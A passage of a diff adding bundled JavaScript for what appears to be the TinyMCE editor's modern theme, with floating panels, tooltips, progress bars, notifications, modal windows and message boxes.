+        self$$1.parents().each(function (ctrl) {
+          if (ctrl.state.get('fixed')) {
+            self$$1.fixed(true);
+            return false;
+          }
+        });
+      });
+      if (settings.popover) {
+        self$$1._preBodyHtml = '<div class="' + self$$1.classPrefix + 'arrow"></div>';
+        self$$1.classes.add('popover').add('bottom').add(self$$1.isRtl() ? 'end' : 'start');
+      }
+      self$$1.aria('label', settings.ariaLabel);
+      self$$1.aria('labelledby', self$$1._id);
+      self$$1.aria('describedby', self$$1.describedBy || self$$1._id + '-none');
+    },
+    fixed: function (state) {
+      var self$$1 = this;
+      if (self$$1.state.get('fixed') !== state) {
+        if (self$$1.state.get('rendered')) {
+          var viewport = funcs.getViewPort();
+          if (state) {
+            self$$1.layoutRect().y -= viewport.y;
+          } else {
+            self$$1.layoutRect().y += viewport.y;
+          }
+        }
+        self$$1.classes.toggle('fixed', state);
+        self$$1.state.set('fixed', state);
+      }
+      return self$$1;
+    },
+    show: function () {
+      var self$$1 = this;
+      var i;
+      var state = self$$1._super();
+      i = visiblePanels.length;
+      while (i--) {
+        if (visiblePanels[i] === self$$1) {
+          break;
+        }
+      }
+      if (i === -1) {
+        visiblePanels.push(self$$1);
+      }
+      return state;
+    },
+    hide: function () {
+      removeVisiblePanel(this);
+      addRemove(false, this);
+      return this._super();
+    },
+    hideAll: function () {
+      FloatPanel.hideAll();
+    },
+    close: function () {
+      var self$$1 = this;
+      if (!self$$1.fire('close').isDefaultPrevented()) {
+        self$$1.remove();
+        addRemove(false, self$$1);
+      }
+      return self$$1;
+    },
+    remove: function () {
+      removeVisiblePanel(this);
+      this._super();
+    },
+    postRender: function () {
+      var self$$1 = this;
+      if (self$$1.settings.bodyRole) {
+        this.getEl('body').setAttribute('role', self$$1.settings.bodyRole);
+      }
+      return self$$1._super();
+    }
+  });
+  FloatPanel.hideAll = function () {
+    var i = visiblePanels.length;
+    while (i--) {
+      var panel = visiblePanels[i];
+      if (panel && panel.settings.autohide) {
+        panel.hide();
+        visiblePanels.splice(i, 1);
+      }
+    }
+  };
+  function removeVisiblePanel(panel) {
+    var i;
+    i = visiblePanels.length;
+    while (i--) {
+      if (visiblePanels[i] === panel) {
+        visiblePanels.splice(i, 1);
+      }
+    }
+    i = zOrder.length;
+    while (i--) {
+      if (zOrder[i] === panel) {
+        zOrder.splice(i, 1);
+      }
+    }
+  }
+
+  var isFixed$1 = function (inlineToolbarContainer, editor) {
+    return !!(inlineToolbarContainer && !editor.settings.ui_container);
+  };
+  var render$1 = function (editor, theme, args) {
+    var panel, inlineToolbarContainer;
+    var DOM = global$3.DOM;
+    var fixedToolbarContainer = getFixedToolbarContainer(editor);
+    if (fixedToolbarContainer) {
+      inlineToolbarContainer = DOM.select(fixedToolbarContainer)[0];
+    }
+    var reposition = function () {
+      if (panel && panel.moveRel && panel.visible() && !panel._fixed) {
+        var scrollContainer = editor.selection.getScrollContainer(), body = editor.getBody();
+        var deltaX = 0, deltaY = 0;
+        if (scrollContainer) {
+          var bodyPos = DOM.getPos(body), scrollContainerPos = DOM.getPos(scrollContainer);
+          deltaX = Math.max(0, scrollContainerPos.x - bodyPos.x);
+          deltaY = Math.max(0, scrollContainerPos.y - bodyPos.y);
+        }
+        panel.fixed(false).moveRel(body, editor.rtl ? [
+          'tr-br',
+          'br-tr'
+        ] : [
+          'tl-bl',
+          'bl-tl',
+          'tr-br'
+        ]).moveBy(deltaX, deltaY);
+      }
+    };
+    var show = function () {
+      if (panel) {
+        panel.show();
+        reposition();
+        DOM.addClass(editor.getBody(), 'mce-edit-focus');
+      }
+    };
+    var hide = function () {
+      if (panel) {
+        panel.hide();
+        FloatPanel.hideAll();
+        DOM.removeClass(editor.getBody(), 'mce-edit-focus');
+      }
+    };
+    var render = function () {
+      if (panel) {
+        if (!panel.visible()) {
+          show();
+        }
+        return;
+      }
+      panel = theme.panel = global$4.create({
+        type: inlineToolbarContainer ? 'panel' : 'floatpanel',
+        role: 'application',
+        classes: 'tinymce tinymce-inline',
+        layout: 'flex',
+        direction: 'column',
+        align: 'stretch',
+        autohide: false,
+        autofix: isFixed$1(inlineToolbarContainer, editor),
+        fixed: isFixed$1(inlineToolbarContainer, editor),
+        border: 1,
+        items: [
+          hasMenubar(editor) === false ? null : {
+            type: 'menubar',
+            border: '0 0 1 0',
+            items: $_bahgsqu8jjgwefo4.createMenuButtons(editor)
+          },
+          $_4udolhu7jjgwefo1.createToolbars(editor, getToolbarSize(editor))
+        ]
+      });
+      $_6344qfu4jjgwefnr.setUiContainer(editor, panel);
+      $_5hpmustzjjgwefnb.fireBeforeRenderUI(editor);
+      if (inlineToolbarContainer) {
+        panel.renderTo(inlineToolbarContainer).reflow();
+      } else {
+        panel.renderTo().reflow();
+      }
+      $_azwbz4u0jjgwefnc.addKeys(editor, panel);
+      show();
+      $_g1gegqu1jjgwefne.addContextualToolbars(editor);
+      editor.on('nodeChange', reposition);
+      editor.on('ResizeWindow', reposition);
+      editor.on('activate', show);
+      editor.on('deactivate', hide);
+      editor.nodeChanged();
+    };
+    editor.settings.content_editable = true;
+    editor.on('focus', function () {
+      if (isSkinDisabled(editor) === false && args.skinUiCss) {
+        DOM.styleSheetLoader.load(args.skinUiCss, render, render);
+      } else {
+        render();
+      }
+    });
+    editor.on('blur hide', hide);
+    editor.on('remove', function () {
+      if (panel) {
+        panel.remove();
+        panel = null;
+      }
+    });
+    if (isSkinDisabled(editor) === false && args.skinUiCss) {
+      DOM.styleSheetLoader.load(args.skinUiCss, $_awdosmuejjgwefop.fireSkinLoaded(editor));
+    } else {
+      $_awdosmuejjgwefop.fireSkinLoaded(editor)();
+    }
+    return {};
+  };
+  var $_fuoldxufjjgwefor = { render: render$1 };
+
+  function Throbber (elm, inline) {
+    var self = this;
+    var state;
+    var classPrefix = Control$1.classPrefix;
+    var timer;
+    self.show = function (time, callback) {
+      function render() {
+        if (state) {
+          global$9(elm).append('<div class="' + classPrefix + 'throbber' + (inline ? ' ' + classPrefix + 'throbber-inline' : '') + '"></div>');
+          if (callback) {
+            callback();
+          }
+        }
+      }
+      self.hide();
+      state = true;
+      if (time) {
+        timer = global$7.setTimeout(render, time);
+      } else {
+        render();
+      }
+      return self;
+    };
+    self.hide = function () {
+      var child = elm.lastChild;
+      global$7.clearTimeout(timer);
+      if (child && child.className.indexOf('throbber') !== -1) {
+        child.parentNode.removeChild(child);
+      }
+      state = false;
+      return self;
+    };
+  }
+
+  var setup = function (editor, theme) {
+    var throbber;
+    editor.on('ProgressState', function (e) {
+      throbber = throbber || new Throbber(theme.panel.getEl('body'));
+      if (e.state) {
+        throbber.show(e.time);
+      } else {
+        throbber.hide();
+      }
+    });
+  };
+  var $_18iiwkv2jjgwefs0 = { setup: setup };
+
+  var renderUI = function (editor, theme, args) {
+    var skinUrl = getSkinUrl(editor);
+    if (skinUrl) {
+      args.skinUiCss = skinUrl + '/skin.min.css';
+      editor.contentCSS.push(skinUrl + '/content' + (editor.inline ? '.inline' : '') + '.min.css');
+    }
+    $_18iiwkv2jjgwefs0.setup(editor, theme);
+    return isInline(editor) ? $_fuoldxufjjgwefor.render(editor, theme, args) : $_vxdgetvjjgwefn7.render(editor, theme, args);
+  };
+  var $_as4c3qtrjjgwefn1 = { renderUI: renderUI };
+
+  var Tooltip = Control$1.extend({
+    Mixins: [$_3fnh5iukjjgwefpt],
+    Defaults: { classes: 'widget tooltip tooltip-n' },
+    renderHtml: function () {
+      var self = this, prefix = self.classPrefix;
+      return '<div id="' + self._id + '" class="' + self.classes + '" role="presentation">' + '<div class="' + prefix + 'tooltip-arrow"></div>' + '<div class="' + prefix + 'tooltip-inner">' + self.encode(self.state.get('text')) + '</div>' + '</div>';
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl().lastChild.innerHTML = self.encode(e.value);
+      });
+      return self._super();
+    },
+    repaint: function () {
+      var self = this;
+      var style, rect;
+      style = self.getEl().style;
+      rect = self._layoutRect;
+      style.left = rect.x + 'px';
+      style.top = rect.y + 'px';
+      style.zIndex = 65535 + 65535;
+    }
+  });
+
+  var Widget = Control$1.extend({
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      settings = self.settings;
+      self.canFocus = true;
+      if (settings.tooltip && Widget.tooltips !== false) {
+        self.on('mouseenter', function (e) {
+          var tooltip = self.tooltip().moveTo(-65535);
+          if (e.control === self) {
+            var rel = tooltip.text(settings.tooltip).show().testMoveRel(self.getEl(), [
+              'bc-tc',
+              'bc-tl',
+              'bc-tr'
+            ]);
+            tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
+            tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
+            tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
+            tooltip.moveRel(self.getEl(), rel);
+          } else {
+            tooltip.hide();
+          }
+        });
+        self.on('mouseleave mousedown click', function () {
+          self.tooltip().remove();
+          self._tooltip = null;
+        });
+      }
+      self.aria('label', settings.ariaLabel || settings.tooltip);
+    },
+    tooltip: function () {
+      if (!this._tooltip) {
+        this._tooltip = new Tooltip({ type: 'tooltip' });
+        $_6344qfu4jjgwefnr.inheritUiContainer(this, this._tooltip);
+        this._tooltip.renderTo();
+      }
+      return this._tooltip;
+    },
+    postRender: function () {
+      var self = this, settings = self.settings;
+      self._super();
+      if (!self.parent() && (settings.width || settings.height)) {
+        self.initLayoutRect();
+        self.repaint();
+      }
+      if (settings.autofocus) {
+        self.focus();
+      }
+    },
+    bindStates: function () {
+      var self = this;
+      function disable(state) {
+        self.aria('disabled', state);
+        self.classes.toggle('disabled', state);
+      }
+      function active(state) {
+        self.aria('pressed', state);
+        self.classes.toggle('active', state);
+      }
+      self.state.on('change:disabled', function (e) {
+        disable(e.value);
+      });
+      self.state.on('change:active', function (e) {
+        active(e.value);
+      });
+      if (self.state.get('disabled')) {
+        disable(true);
+      }
+      if (self.state.get('active')) {
+        active(true);
+      }
+      return self._super();
+    },
+    remove: function () {
+      this._super();
+      if (this._tooltip) {
+        this._tooltip.remove();
+        this._tooltip = null;
+      }
+    }
+  });
+
+  var Progress = Widget.extend({
+    Defaults: { value: 0 },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.classes.add('progress');
+      if (!self.settings.filter) {
+        self.settings.filter = function (value) {
+          return Math.round(value);
+        };
+      }
+    },
+    renderHtml: function () {
+      var self = this, id = self._id, prefix = this.classPrefix;
+      return '<div id="' + id + '" class="' + self.classes + '">' + '<div class="' + prefix + 'bar-container">' + '<div class="' + prefix + 'bar"></div>' + '</div>' + '<div class="' + prefix + 'text">0%</div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      self._super();
+      self.value(self.settings.value);
+      return self;
+    },
+    bindStates: function () {
+      var self = this;
+      function setValue(value) {
+        value = self.settings.filter(value);
+        self.getEl().lastChild.innerHTML = value + '%';
+        self.getEl().firstChild.firstChild.style.width = value + '%';
+      }
+      self.state.on('change:value', function (e) {
+        setValue(e.value);
+      });
+      setValue(self.state.get('value'));
+      return self._super();
+    }
+  });
+
+  var updateLiveRegion = function (ctx, text) {
+    ctx.getEl().lastChild.textContent = text + (ctx.progressBar ? ' ' + ctx.progressBar.value() + '%' : '');
+  };
+  var Notification = Control$1.extend({
+    Mixins: [$_3fnh5iukjjgwefpt],
+    Defaults: { classes: 'widget notification' },
+    init: function (settings) {
+      var self = this;
+      self._super(settings);
+      self.maxWidth = settings.maxWidth;
+      if (settings.text) {
+        self.text(settings.text);
+      }
+      if (settings.icon) {
+        self.icon = settings.icon;
+      }
+      if (settings.color) {
+        self.color = settings.color;
+      }
+      if (settings.type) {
+        self.classes.add('notification-' + settings.type);
+      }
+      if (settings.timeout && (settings.timeout < 0 || settings.timeout > 0) && !settings.closeButton) {
+        self.closeButton = false;
+      } else {
+        self.classes.add('has-close');
+        self.closeButton = true;
+      }
+      if (settings.progressBar) {
+        self.progressBar = new Progress();
+      }
+      self.on('click', function (e) {
+        if (e.target.className.indexOf(self.classPrefix + 'close') !== -1) {
+          self.close();
+        }
+      });
+    },
+    renderHtml: function () {
+      var self = this;
+      var prefix = self.classPrefix;
+      var icon = '', closeButton = '', progressBar = '', notificationStyle = '';
+      if (self.icon) {
+        icon = '<i class="' + prefix + 'ico' + ' ' + prefix + 'i-' + self.icon + '"></i>';
+      }
+      notificationStyle = ' style="max-width: ' + self.maxWidth + 'px;' + (self.color ? 'background-color: ' + self.color + ';"' : '"');
+      if (self.closeButton) {
+        closeButton = '<button type="button" class="' + prefix + 'close" aria-hidden="true">\xD7</button>';
+      }
+      if (self.progressBar) {
+        progressBar = self.progressBar.renderHtml();
+      }
+      return '<div id="' + self._id + '" class="' + self.classes + '"' + notificationStyle + ' role="presentation">' + icon + '<div class="' + prefix + 'notification-inner">' + self.state.get('text') + '</div>' + progressBar + closeButton + '<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;"' + ' aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div>' + '</div>';
+    },
+    postRender: function () {
+      var self = this;
+      global$7.setTimeout(function () {
+        self.$el.addClass(self.classPrefix + 'in');
+        updateLiveRegion(self, self.state.get('text'));
+      }, 100);
+      return self._super();
+    },
+    bindStates: function () {
+      var self = this;
+      self.state.on('change:text', function (e) {
+        self.getEl().firstChild.innerHTML = e.value;
+        updateLiveRegion(self, e.value);
+      });
+      if (self.progressBar) {
+        self.progressBar.bindStates();
+        self.progressBar.state.on('change:value', function (e) {
+          updateLiveRegion(self, self.state.get('text'));
+        });
+      }
+      return self._super();
+    },
+    close: function () {
+      var self = this;
+      if (!self.fire('close').isDefaultPrevented()) {
+        self.remove();
+      }
+      return self;
+    },
+    repaint: function () {
+      var self = this;
+      var style, rect;
+      style = self.getEl().style;
+      rect = self._layoutRect;
+      style.left = rect.x + 'px';
+      style.top = rect.y + 'px';
+      style.zIndex = 65535 - 1;
+    }
+  });
+
+  function NotificationManagerImpl (editor) {
+    var getEditorContainer = function (editor) {
+      return editor.inline ? editor.getElement() : editor.getContentAreaContainer();
+    };
+    var getContainerWidth = function () {
+      var container = getEditorContainer(editor);
+      return funcs.getSize(container).width;
+    };
+    var prePositionNotifications = function (notifications) {
+      each(notifications, function (notification) {
+        notification.moveTo(0, 0);
+      });
+    };
+    var positionNotifications = function (notifications) {
+      if (notifications.length > 0) {
+        var firstItem = notifications.slice(0, 1)[0];
+        var container = getEditorContainer(editor);
+        firstItem.moveRel(container, 'tc-tc');
+        each(notifications, function (notification, index) {
+          if (index > 0) {
+            notification.moveRel(notifications[index - 1].getEl(), 'bc-tc');
+          }
+        });
+      }
+    };
+    var reposition = function (notifications) {
+      prePositionNotifications(notifications);
+      positionNotifications(notifications);
+    };
+    var open = function (args, closeCallback) {
+      var extendedArgs = global$2.extend(args, { maxWidth: getContainerWidth() });
+      var notif = new Notification(extendedArgs);
+      notif.args = extendedArgs;
+      if (extendedArgs.timeout > 0) {
+        notif.timer = setTimeout(function () {
+          notif.close();
+          closeCallback();
+        }, extendedArgs.timeout);
+      }
+      notif.on('close', function () {
+        closeCallback();
+      });
+      notif.renderTo();
+      return notif;
+    };
+    var close = function (notification) {
+      notification.close();
+    };
+    var getArgs = function (notification) {
+      return notification.args;
+    };
+    return {
+      open: open,
+      close: close,
+      reposition: reposition,
+      getArgs: getArgs
+    };
+  }
+
+  var windows = [];
+  var oldMetaValue = '';
+  function toggleFullScreenState(state) {
+    var noScaleMetaValue = 'width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0';
+    var viewport = global$9('meta[name=viewport]')[0], contentValue;
+    if (global$8.overrideViewPort === false) {
+      return;
+    }
+    if (!viewport) {
+      viewport = document.createElement('meta');
+      viewport.setAttribute('name', 'viewport');
+      document.getElementsByTagName('head')[0].appendChild(viewport);
+    }
+    contentValue = viewport.getAttribute('content');
+    if (contentValue && typeof oldMetaValue !== 'undefined') {
+      oldMetaValue = contentValue;
+    }
+    viewport.setAttribute('content', state ? noScaleMetaValue : oldMetaValue);
+  }
+  function toggleBodyFullScreenClasses(classPrefix, state) {
+    if (checkFullscreenWindows() && state === false) {
+      global$9([
+        document.documentElement,
+        document.body
+      ]).removeClass(classPrefix + 'fullscreen');
+    }
+  }
+  function checkFullscreenWindows() {
+    for (var i = 0; i < windows.length; i++) {
+      if (windows[i]._fullscreen) {
+        return true;
+      }
+    }
+    return false;
+  }
+  function handleWindowResize() {
+    if (!global$8.desktop) {
+      var lastSize_1 = {
+        w: window.innerWidth,
+        h: window.innerHeight
+      };
+      global$7.setInterval(function () {
+        var w = window.innerWidth, h = window.innerHeight;
+        if (lastSize_1.w !== w || lastSize_1.h !== h) {
+          lastSize_1 = {
+            w: w,
+            h: h
+          };
+          global$9(window).trigger('resize');
+        }
+      }, 100);
+    }
+    function reposition() {
+      var i;
+      var rect = funcs.getWindowSize();
+      var layoutRect;
+      for (i = 0; i < windows.length; i++) {
+        layoutRect = windows[i].layoutRect();
+        windows[i].moveTo(windows[i].settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2), windows[i].settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2));
+      }
+    }
+    global$9(window).on('resize', reposition);
+  }
+  var Window$$1 = FloatPanel.extend({
+    modal: true,
+    Defaults: {
+      border: 1,
+      layout: 'flex',
+      containerCls: 'panel',
+      role: 'dialog',
+      callbacks: {
+        submit: function () {
+          this.fire('submit', { data: this.toJSON() });
+        },
+        close: function () {
+          this.close();
+        }
+      }
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      if (self$$1.isRtl()) {
+        self$$1.classes.add('rtl');
+      }
+      self$$1.classes.add('window');
+      self$$1.bodyClasses.add('window-body');
+      self$$1.state.set('fixed', true);
+      if (settings.buttons) {
+        self$$1.statusbar = new Panel({
+          layout: 'flex',
+          border: '1 0 0 0',
+          spacing: 3,
+          padding: 10,
+          align: 'center',
+          pack: self$$1.isRtl() ? 'start' : 'end',
+          defaults: { type: 'button' },
+          items: settings.buttons
+        });
+        self$$1.statusbar.classes.add('foot');
+        self$$1.statusbar.parent(self$$1);
+      }
+      self$$1.on('click', function (e) {
+        var closeClass = self$$1.classPrefix + 'close';
+        if (funcs.hasClass(e.target, closeClass) || funcs.hasClass(e.target.parentNode, closeClass)) {
+          self$$1.close();
+        }
+      });
+      self$$1.on('cancel', function () {
+        self$$1.close();
+      });
+      self$$1.on('move', function (e) {
+        if (e.control === self$$1) {
+          FloatPanel.hideAll();
+        }
+      });
+      self$$1.aria('describedby', self$$1.describedBy || self$$1._id + '-none');
+      self$$1.aria('label', settings.title);
+      self$$1._fullscreen = false;
+    },
+    recalc: function () {
+      var self$$1 = this;
+      var statusbar$$1 = self$$1.statusbar;
+      var layoutRect, width, x, needsRecalc;
+      if (self$$1._fullscreen) {
+        self$$1.layoutRect(funcs.getWindowSize());
+        self$$1.layoutRect().contentH = self$$1.layoutRect().innerH;
+      }
+      self$$1._super();
+      layoutRect = self$$1.layoutRect();
+      if (self$$1.settings.title && !self$$1._fullscreen) {
+        width = layoutRect.headerW;
+        if (width > layoutRect.w) {
+          x = layoutRect.x - Math.max(0, width / 2);
+          self$$1.layoutRect({
+            w: width,
+            x: x
+          });
+          needsRecalc = true;
+        }
+      }
+      if (statusbar$$1) {
+        statusbar$$1.layoutRect({ w: self$$1.layoutRect().innerW }).recalc();
+        width = statusbar$$1.layoutRect().minW + layoutRect.deltaW;
+        if (width > layoutRect.w) {
+          x = layoutRect.x - Math.max(0, width - layoutRect.w);
+          self$$1.layoutRect({
+            w: width,
+            x: x
+          });
+          needsRecalc = true;
+        }
+      }
+      if (needsRecalc) {
+        self$$1.recalc();
+      }
+    },
+    initLayoutRect: function () {
+      var self$$1 = this;
+      var layoutRect = self$$1._super();
+      var deltaH = 0, headEl;
+      if (self$$1.settings.title && !self$$1._fullscreen) {
+        headEl = self$$1.getEl('head');
+        var size = funcs.getSize(headEl);
+        layoutRect.headerW = size.width;
+        layoutRect.headerH = size.height;
+        deltaH += layoutRect.headerH;
+      }
+      if (self$$1.statusbar) {
+        deltaH += self$$1.statusbar.layoutRect().h;
+      }
+      layoutRect.deltaH += deltaH;
+      layoutRect.minH += deltaH;
+      layoutRect.h += deltaH;
+      var rect = funcs.getWindowSize();
+      layoutRect.x = self$$1.settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2);
+      layoutRect.y = self$$1.settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2);
+      return layoutRect;
+    },
+    renderHtml: function () {
+      var self$$1 = this, layout = self$$1._layout, id = self$$1._id, prefix = self$$1.classPrefix;
+      var settings = self$$1.settings;
+      var headerHtml = '', footerHtml = '', html = settings.html;
+      self$$1.preRender();
+      layout.preRender(self$$1);
+      if (settings.title) {
+        headerHtml = '<div id="' + id + '-head" class="' + prefix + 'window-head">' + '<div id="' + id + '-title" class="' + prefix + 'title">' + self$$1.encode(settings.title) + '</div>' + '<div id="' + id + '-dragh" class="' + prefix + 'dragh"></div>' + '<button type="button" class="' + prefix + 'close" aria-hidden="true">' + '<i class="mce-ico mce-i-remove"></i>' + '</button>' + '</div>';
+      }
+      if (settings.url) {
+        html = '<iframe src="' + settings.url + '" tabindex="-1"></iframe>';
+      }
+      if (typeof html === 'undefined') {
+        html = layout.renderHtml(self$$1);
+      }
+      if (self$$1.statusbar) {
+        footerHtml = self$$1.statusbar.renderHtml();
+      }
+      return '<div id="' + id + '" class="' + self$$1.classes + '" hidefocus="1">' + '<div class="' + self$$1.classPrefix + 'reset" role="application">' + headerHtml + '<div id="' + id + '-body" class="' + self$$1.bodyClasses + '">' + html + '</div>' + footerHtml + '</div>' + '</div>';
+    },
+    fullscreen: function (state) {
+      var self$$1 = this;
+      var documentElement = document.documentElement;
+      var slowRendering;
+      var prefix = self$$1.classPrefix;
+      var layoutRect;
+      if (state !== self$$1._fullscreen) {
+        global$9(window).on('resize', function () {
+          var time;
+          if (self$$1._fullscreen) {
+            if (!slowRendering) {
+              time = new Date().getTime();
+              var rect = funcs.getWindowSize();
+              self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+              if (new Date().getTime() - time > 50) {
+                slowRendering = true;
+              }
+            } else {
+              if (!self$$1._timer) {
+                self$$1._timer = global$7.setTimeout(function () {
+                  var rect = funcs.getWindowSize();
+                  self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+                  self$$1._timer = 0;
+                }, 50);
+              }
+            }
+          }
+        });
+        layoutRect = self$$1.layoutRect();
+        self$$1._fullscreen = state;
+        if (!state) {
+          self$$1.borderBox = $_fbr241uqjjgwefqo.parseBox(self$$1.settings.border);
+          self$$1.getEl('head').style.display = '';
+          layoutRect.deltaH += layoutRect.headerH;
+          global$9([
+            documentElement,
+            document.body
+          ]).removeClass(prefix + 'fullscreen');
+          self$$1.classes.remove('fullscreen');
+          self$$1.moveTo(self$$1._initial.x, self$$1._initial.y).resizeTo(self$$1._initial.w, self$$1._initial.h);
+        } else {
+          self$$1._initial = {
+            x: layoutRect.x,
+            y: layoutRect.y,
+            w: layoutRect.w,
+            h: layoutRect.h
+          };
+          self$$1.borderBox = $_fbr241uqjjgwefqo.parseBox('0');
+          self$$1.getEl('head').style.display = 'none';
+          layoutRect.deltaH -= layoutRect.headerH + 2;
+          global$9([
+            documentElement,
+            document.body
+          ]).addClass(prefix + 'fullscreen');
+          self$$1.classes.add('fullscreen');
+          var rect = funcs.getWindowSize();
+          self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+        }
+      }
+      return self$$1.reflow();
+    },
+    postRender: function () {
+      var self$$1 = this;
+      var startPos;
+      setTimeout(function () {
+        self$$1.classes.add('in');
+        self$$1.fire('open');
+      }, 0);
+      self$$1._super();
+      if (self$$1.statusbar) {
+        self$$1.statusbar.postRender();
+      }
+      self$$1.focus();
+      this.dragHelper = new DragHelper(self$$1._id + '-dragh', {
+        start: function () {
+          startPos = {
+            x: self$$1.layoutRect().x,
+            y: self$$1.layoutRect().y
+          };
+        },
+        drag: function (e) {
+          self$$1.moveTo(startPos.x + e.deltaX, startPos.y + e.deltaY);
+        }
+      });
+      self$$1.on('submit', function (e) {
+        if (!e.isDefaultPrevented()) {
+          self$$1.close();
+        }
+      });
+      windows.push(self$$1);
+      toggleFullScreenState(true);
+    },
+    submit: function () {
+      return this.fire('submit', { data: this.toJSON() });
+    },
+    remove: function () {
+      var self$$1 = this;
+      var i;
+      self$$1.dragHelper.destroy();
+      self$$1._super();
+      if (self$$1.statusbar) {
+        this.statusbar.remove();
+      }
+      toggleBodyFullScreenClasses(self$$1.classPrefix, false);
+      i = windows.length;
+      while (i--) {
+        if (windows[i] === self$$1) {
+          windows.splice(i, 1);
+        }
+      }
+      toggleFullScreenState(windows.length > 0);
+    },
+    getContentWindow: function () {
+      var ifr = this.getEl().getElementsByTagName('iframe')[0];
+      return ifr ? ifr.contentWindow : null;
+    }
+  });
+  handleWindowResize();
+
+  var MessageBox = Window$$1.extend({
+    init: function (settings) {
+      settings = {
+        border: 1,
+        padding: 20,
+        layout: 'flex',
+        pack: 'center',
+        align: 'center',
+        containerCls: 'panel',
+        autoScroll: true,
+        buttons: {
+          type: 'button',
+          text: 'Ok',
+          action: 'ok'
+        },
+        items: {
+          type: 'label',
+          multiline: true,
+          maxWidth: 500,
+          maxHeight: 200
+        }
+      };
+      this._super(settings);
+    },
+    Statics: {
+      OK: 1,
+      OK_CANCEL: 2,
+      YES_NO: 3,
+      YES_NO_CANCEL: 4,
+      msgBox: function (settings) {
+        var buttons;
+        var callback = settings.callback || function () {
+        };
+        function createButton(text, status$$1, primary) {
+          return {
+            type: 'button',
+            text: text,
+            subtype: primary ? 'primary' : '',
+            onClick: function (e) {
+              e.control.parents()[1].close();
+              callback(status$$1);
+            }
+          };
+        }
+        switch (settings.buttons) {
+        case MessageBox.OK_CANCEL:
+          buttons = [
+            createButton('Ok', true, true),
+            createButton('Cancel', false)
+          ];
+          break;
+        case MessageBox.YES_NO:
+        case MessageBox.YES_NO_CANCEL:
+          buttons = [
+            createButton('Yes', 1, true),
+            createButton('No', 0)
+          ];
+          if (settings.buttons === MessageBox.YES_NO_CANCEL) {
+            buttons.push(createButton('Cancel', -1));
+          }
+          break;
+        default:
+          buttons = [createButton('Ok', true, true)];
+          break;
+        }
+        return new Window$$1({
+          padding: 20,
+          x: settings.x,
+          y: settings.y,
+          minWidth: 300,
+          minHeight: 100,
+          layout: 'flex',
+          pack: 'center',
+          align: 'center',
+          buttons: buttons,
+          title: settings.title,
+          role: 'alertdialog',
+          items: {
+            type: 'label',
+            multiline: true,
+            maxWidth: 500,
+            maxHeight: 200,
+            text: settings.text
+          },
+          onPostRender: function () {
+            this.aria('describedby', this.items()[0]._id);
+          },
+          onClose: settings.onClose,
+          onCancel: function () {
+            callback(false);
+          }
+        }).renderTo(document.body).reflow();
+      },
+      alert: function (settings, callback) {
+        if (typeof settings === 'string') {
+          settings = { text: settings };
+        }
+        settings.callback = callback;
+        return MessageBox.msgBox(settings);
+      },
+      confirm: function (settings, callback) {
+        if (typeof settings === 'string') {
+          settings = { text: settings };
+        }
+        settings.callback = callback;
+        settings.buttons = MessageBox.OK_CANCEL;
+        return MessageBox.msgBox(settings);
+      }
+    }
+  });
+
+  function WindowManagerImpl (editor) {
+    var open$$1 = function (args, params, closeCallback) {
+      var win;
+      args.title = args.title || ' ';
+      args.url = args.url || args.file;
+      if (args.url) {
+        args.width = parseInt(args.width || 320, 10);
+        args.height = parseInt(args.height || 240, 10);
+      }
+      if (args.body) {
+        args.items = {
+          defaults: args.defaults,
+          type: args.bodyType || 'form',
+          items: args.body,
+          data: args.data,
+          callbacks: args.commands
+        };
+      }
+      if (!args.url && !args.buttons) {
+        args.buttons = [
+          {
+            text: 'Ok',
+            subtype: 'primary',
+            onclick: function () {
+              win.find('form')[0].submit();
+            }
+          },
+          {
+            text: 'Cancel',
+            onclick: function () {
+              win.close();
+            }
+          }
+        ];
+      }
+      win = new Window$$1(args);
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      if (args.data) {
+        win.on('postRender', function () {
+          this.find('*').each(function (ctrl) {
+            var name$$1 = ctrl.name();
+            if (name$$1 in args.data) {
+              ctrl.value(args.data[name$$1]);
+            }
+          });
+        });
+      }
+      win.features = args || {};
+      win.params = params || {};
+      win = win.renderTo(document.body).reflow();
+      return win;
+    };
+    var alert$$1 = function (message, choiceCallback, closeCallback) {
+      var win;
+      win = MessageBox.alert(message, function () {
+        choiceCallback();
+      });
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      return win;
+    };
+    var confirm$$1 = function (message, choiceCallback, closeCallback) {
+      var win;
+      win = MessageBox.confirm(message, function (state) {
+        choiceCallback(state);
+      });
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      return win;
+    };
+    var close$$1 = function (window$$1) {
+      window$$1.close();
+    };
+    var getParams = function (window$$1) {
+      return window$$1.params;
+    };
+    var setParams = function (window$$1, params) {
+      window$$1.params = params;
+    };
+    return {
+      open: open$$1,
+      alert: alert$$1,
+      confirm: confirm$$1,
+      close: close$$1,
+      getParams: getParams,
+      setParams: setParams
+    };
+  }
+
+  var get = function (editor) {
+    var renderUI = function (args) {
+      return $_as4c3qtrjjgwefn1.renderUI(editor, this, args);
+    };
+    var resizeTo = function (w, h) {
+      return $_sd6u0ubjjgwefok.resizeTo(editor, w, h);
+    };
+    var resizeBy = function (dw, dh) {
+      return $_sd6u0ubjjgwefok.resizeBy(editor, dw, dh);
+    };
+    var getNotificationManagerImpl = function () {
+      return NotificationManagerImpl(editor);
+    };
+    var getWindowManagerImpl = function () {
+      return WindowManagerImpl(editor);
+    };
+    return {
+      renderUI: renderUI,
+      resizeTo: resizeTo,
